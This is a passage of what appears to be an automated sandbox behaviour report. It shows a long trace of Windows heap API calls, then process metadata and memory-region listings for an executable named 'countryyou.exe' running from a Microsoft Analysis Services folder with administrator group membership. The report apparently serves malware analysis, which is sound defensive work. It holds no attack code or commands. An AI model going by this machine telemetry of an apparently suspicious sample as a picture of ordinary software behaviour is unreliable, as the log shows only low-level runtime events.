returned 0x20 [0084.756] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc60 | out: hHeap=0x1b0000) returned 1 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd720) returned 1 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd720) returned 0xc [0084.756] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd720 | out: hHeap=0x1b0000) returned 1 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc90) returned 1 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc90) returned 0x20 [0084.757] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc90 | out: hHeap=0x1b0000) returned 1 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7b60) returned 1 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7b60) returned 0x30 [0084.757] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7b60 | out: hHeap=0x1b0000) returned 1 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.757] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccc0) returned 1 [0084.757] GetProcessHeap () returned 0x1b0000 [0084.758] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cccc0) returned 0x20 [0084.758] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccc0 | out: hHeap=0x1b0000) returned 1 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0) returned 1 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7be0) returned 0x30 [0084.758] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0 | out: hHeap=0x1b0000) returned 1 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce40) returned 1 [0084.758] GetProcessHeap () returned 0x1b0000 [0084.758] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce40) returned 0x20 [0084.759] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce40 | out: hHeap=0x1b0000) returned 1 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd640) returned 1 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd640) returned 0x16 [0084.759] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd640 | out: hHeap=0x1b0000) returned 1 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce10) returned 1 [0084.759] GetProcessHeap () returned 0x1b0000 [0084.759] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce10) returned 0x20 [0084.760] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce10 | out: hHeap=0x1b0000) returned 1 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd660) returned 1 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd660) returned 0x16 [0084.760] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd660 | out: hHeap=0x1b0000) returned 1 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccde0) returned 1 [0084.760] GetProcessHeap () returned 0x1b0000 [0084.760] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccde0) returned 0x20 [0084.761] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccde0 | out: hHeap=0x1b0000) returned 1 [0084.761] GetProcessHeap () returned 0x1b0000 [0084.761] GetProcessHeap () returned 0x1b0000 [0084.761] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e9a90) returned 1 [0084.761] GetProcessHeap () returned 0x1b0000 [0084.761] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1e9a90) returned 0x82 [0084.761] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e9a90 | out: hHeap=0x1b0000) returned 1 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdb0) returned 1 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdb0) returned 0x20 [0084.762] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdb0 | out: hHeap=0x1b0000) returned 1 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6a0) returned 1 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.762] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6a0) returned 0xe [0084.762] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6a0 | out: hHeap=0x1b0000) returned 1 [0084.762] GetProcessHeap () returned 0x1b0000 [0084.788] GetProcessHeap () returned 0x1b0000 [0084.788] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd80) returned 1 [0084.788] GetProcessHeap () returned 0x1b0000 [0084.788] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd80) returned 0x20 [0084.789] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd80 | out: hHeap=0x1b0000) returned 1 [0084.789] GetProcessHeap () returned 0x1b0000 [0084.789] GetProcessHeap () returned 0x1b0000 [0084.789] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6c0) returned 1 [0084.789] GetProcessHeap () returned 0x1b0000 [0084.789] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6c0) returned 0xc [0084.789] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6c0 | out: hHeap=0x1b0000) returned 1 [0084.789] GetProcessHeap () returned 0x1b0000 [0084.790] GetProcessHeap () returned 0x1b0000 [0084.790] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd50) returned 1 [0084.790] GetProcessHeap () returned 0x1b0000 [0084.790] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd50) returned 0x20 [0084.790] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd50 | out: hHeap=0x1b0000) returned 1 [0084.790] GetProcessHeap () returned 0x1b0000 [0084.790] GetProcessHeap () returned 0x1b0000 [0084.790] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6e0) returned 1 [0084.790] GetProcessHeap () returned 0x1b0000 [0084.790] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6e0) returned 0xe [0084.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6e0 | out: hHeap=0x1b0000) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd20) returned 0x20 [0084.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd700) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd700) returned 0x10 [0084.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd700 | out: hHeap=0x1b0000) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccf0) returned 1 [0084.791] GetProcessHeap () returned 0x1b0000 [0084.791] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cccf0) returned 0x20 [0084.792] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccf0 | out: hHeap=0x1b0000) returned 1 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbaf0) returned 1 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbaf0) returned 0x18 [0084.792] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbaf0 | out: hHeap=0x1b0000) returned 1 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a90) returned 1 [0084.792] GetProcessHeap () returned 0x1b0000 [0084.792] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a90) returned 0x20 [0084.793] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a90 | out: hHeap=0x1b0000) returned 1 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ac0) returned 1 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5ac0) returned 0x20 [0084.793] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ac0 | out: hHeap=0x1b0000) returned 1 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5af0) returned 1 [0084.793] GetProcessHeap () returned 0x1b0000 [0084.793] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5af0) returned 0x20 [0084.794] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5af0 | out: hHeap=0x1b0000) returned 1 [0084.794] GetProcessHeap () returned 0x1b0000 [0084.794] GetProcessHeap () returned 0x1b0000 [0084.794] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b20) returned 1 [0084.794] GetProcessHeap () returned 0x1b0000 [0084.794] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b20) returned 0x20 [0084.794] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b20 | out: hHeap=0x1b0000) returned 1 [0084.794] GetProcessHeap () returned 0x1b0000 [0084.794] GetProcessHeap () returned 0x1b0000 [0084.795] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb10) returned 1 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb10) returned 0x18 [0084.795] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb10 | out: hHeap=0x1b0000) returned 1 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b50) returned 1 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b50) returned 0x20 [0084.795] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b50 | out: hHeap=0x1b0000) returned 1 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5be0) returned 1 [0084.795] GetProcessHeap () returned 0x1b0000 [0084.795] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5be0) returned 0x20 [0084.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5be0 | out: hHeap=0x1b0000) returned 1 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c40) returned 1 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c40) returned 0x20 [0084.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c40 | out: hHeap=0x1b0000) returned 1 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ca0) returned 1 [0084.796] GetProcessHeap () returned 0x1b0000 [0084.796] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5ca0) returned 0x20 [0084.797] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ca0 | out: hHeap=0x1b0000) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cd0) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5cd0) returned 0x20 [0084.797] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cd0 | out: hHeap=0x1b0000) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb30) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb30) returned 0x18 [0084.797] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb30 | out: hHeap=0x1b0000) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c10) returned 1 [0084.797] GetProcessHeap () returned 0x1b0000 [0084.797] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c10) returned 0x20 [0084.798] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c10 | out: hHeap=0x1b0000) returned 1 [0084.798] GetProcessHeap () returned 0x1b0000 [0084.798] GetProcessHeap () returned 0x1b0000 [0084.798] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbab0) returned 1 [0084.798] GetProcessHeap () returned 0x1b0000 [0084.798] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbab0) returned 0x18 [0084.798] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbab0 | out: hHeap=0x1b0000) returned 1 [0084.798] exit (_Code=0) Thread: id = 188 os_tid = 0x4f0 Process: id = "53" image_name = "countryyou.exe" filename = "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe" page_root = "0x3b531000" os_pid = "0x180" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4741 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4742 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4743 start_va = 0x80000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4744 start_va = 0x12b0000 end_va = 0x1387fff monitored = 1 entry_point = 0x137f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 4745 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4746 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4747 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4748 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4749 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4750 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4751 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4752 start_va = 0x180000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4753 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4754 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4755 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4756 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4757 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4758 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4759 start_va = 0x180000 end_va = 0x1e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4760 start_va = 0x250000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4761 start_va = 0x2d0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 4762 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 4763 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4764 start_va = 0x4a0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 5305 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5306 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5307 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5308 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5309 start_va = 0x5f0000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 5310 start_va = 0x5f0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 5311 start_va = 0x780000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 5312 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5313 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5314 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5315 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5316 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5317 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5470 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5471 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5472 start_va = 0x790000 end_va = 0x917fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 5473 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5474 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5475 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5476 start_va = 0x920000 end_va = 0xaa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 5477 start_va = 0x1390000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001390000" filename = "" Region: id = 5478 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5479 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5480 start_va = 0xab0000 end_va = 0xb80fff monitored = 1 entry_point = 0xb7f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 5481 start_va = 0xab0000 end_va = 0xb80fff monitored = 1 entry_point = 0xb7f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 5482 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5579 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5580 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5581 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 